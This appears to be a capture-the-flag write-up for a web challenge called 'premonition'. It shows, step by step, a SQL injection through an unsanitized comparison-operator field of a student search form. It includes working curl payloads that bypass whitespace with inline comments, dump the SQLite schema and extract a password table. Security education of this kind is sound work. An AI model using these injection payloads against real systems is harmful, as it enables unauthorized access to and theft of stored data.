There’s been some weird occurrences going on at our school. Teacher’s answer questions as though they knew the answer in advance, test results being handed out before the test, and now a weird web form giving info about us. Can you find out what weird information is on it?

Find the page at http://premonition-p8l05mpz.9447.plumbing:9447

Challenge Overview

The website is a simple interface to a database. It is possible to search for students using the following fileds:

  • First name
  • Last name
  • Test score
  • Class
  • DOB (Date of Birth)

Depending on the field, users must specify a value and a comparison operator among >, <, =.

Exploitation

It is pretty easy to figure out that the comparison operator is not properly sanitized. This curl example dumps part of query string, exposing the placeholder used to handle the score value.

0 $ curl -d "score=92&ineq==1'" 'http://premonition-p8l05mpz.9447.plumbing:9447/score'
{"user": "sqliteadmin@localhost", "error": "unrecognized token: \"' ?\""}

Whitespaces appears to be trimmed by the webserver, hence a common bypass is to separate query tokens using inline comments like /**/. Since the DBMS employed is SQLite, one can retrieve the whole db schema in one-shot dumping the sql field from the sqlite_master table.

0 $ curl -d "score=92&ineq==1/**/union/**/select/**/sql,1,1,1/**/from/**/sqlite_master/**/limit ? -- " 'http://premonition-p8l05mpz.9447.plumbing:9447/score'
[["CREATE TABLE s3ekr17_passwords(\n\tuserid real,\n\tpassword text\n)", 1, 1, 1], ["CREATE TABLE students(\n\tuserid real,\n\tfirstname text,\n\tlastname text,\n\tscore real,\n\tteacher real,\n\tclass text,\n\tdate_birth date,\n\tdate_death date\n)", 1, 1, 1]]

Now, it’s enough to access s3ekr17_passwords.password to solve the challenge.

0 $ curl -d "score=92&ineq==1/**/union/**/select/**/userid,password,1,1/**/from/**/s3ekr17_passwords/**/limit ? -- " 'http://premonition-p8l05mpz.9447.plumbing:9447/score'
[[0.0, "9", 1, 1], [1.0, "4", 1, 1], [2.0, "4", 1, 1], [3.0, "7", 1, 1], [4.0, "{", 1, 1], [5.0, "u", 1, 1], [6.0, "S", 1, 1], [7.0, "e", 1, 1], [8.0, "r", 1, 1], [9.0, "A", 1, 1], [10.0, "g", 1, 1], [11.0, "e", 1, 1], [12.0, "n", 1, 1], [13.0, "T", 1, 1], [14.0, "s", 1, 1], [15.0, "_", 1, 1], [16.0, "a", 1, 1], [17.0, "N", 1, 1], [18.0, "d", 1, 1], [19.0, "_", 1, 1], [20.0, "s", 1, 1], [21.0, "p", 1, 1], [22.0, "a", 1, 1], [23.0, "C", 1, 1], [24.0, "e", 1, 1], [25.0, "s", 1, 1], [26.0, "_", 1, 1], [27.0, "a", 1, 1], [28.0, "R", 1, 1], [29.0, "e", 1, 1], [30.0, "_", 1, 1], [31.0, "p", 1, 1], [32.0, "e", 1, 1], [33.0, "a", 1, 1], [34.0, "s", 1, 1], [35.0, "A", 1, 1], [36.0, "n", 1, 1], [37.0, "t", 1, 1], [38.0, "_", 1, 1], [39.0, "R", 1, 1], [40.0, "a", 1, 1], [41.0, "c", 1, 1], [42.0, "E", 1, 1], [43.0, "s", 1, 1], [44.0, "}", 1, 1]]

Let’s show some respect for the poor flag, really.

>>> ''.join(x[1] for x in query_result)
'9447{uSerAgenTs_aNd_spaCes_aRe_peasAnt_RacEs}'